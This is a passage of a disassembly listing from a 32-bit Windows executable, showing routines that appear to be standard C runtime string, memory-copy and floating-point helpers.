loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 2670219h nop test eax, eax jnz short loc_41BDF2 nop call near ptr 26709C5h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi 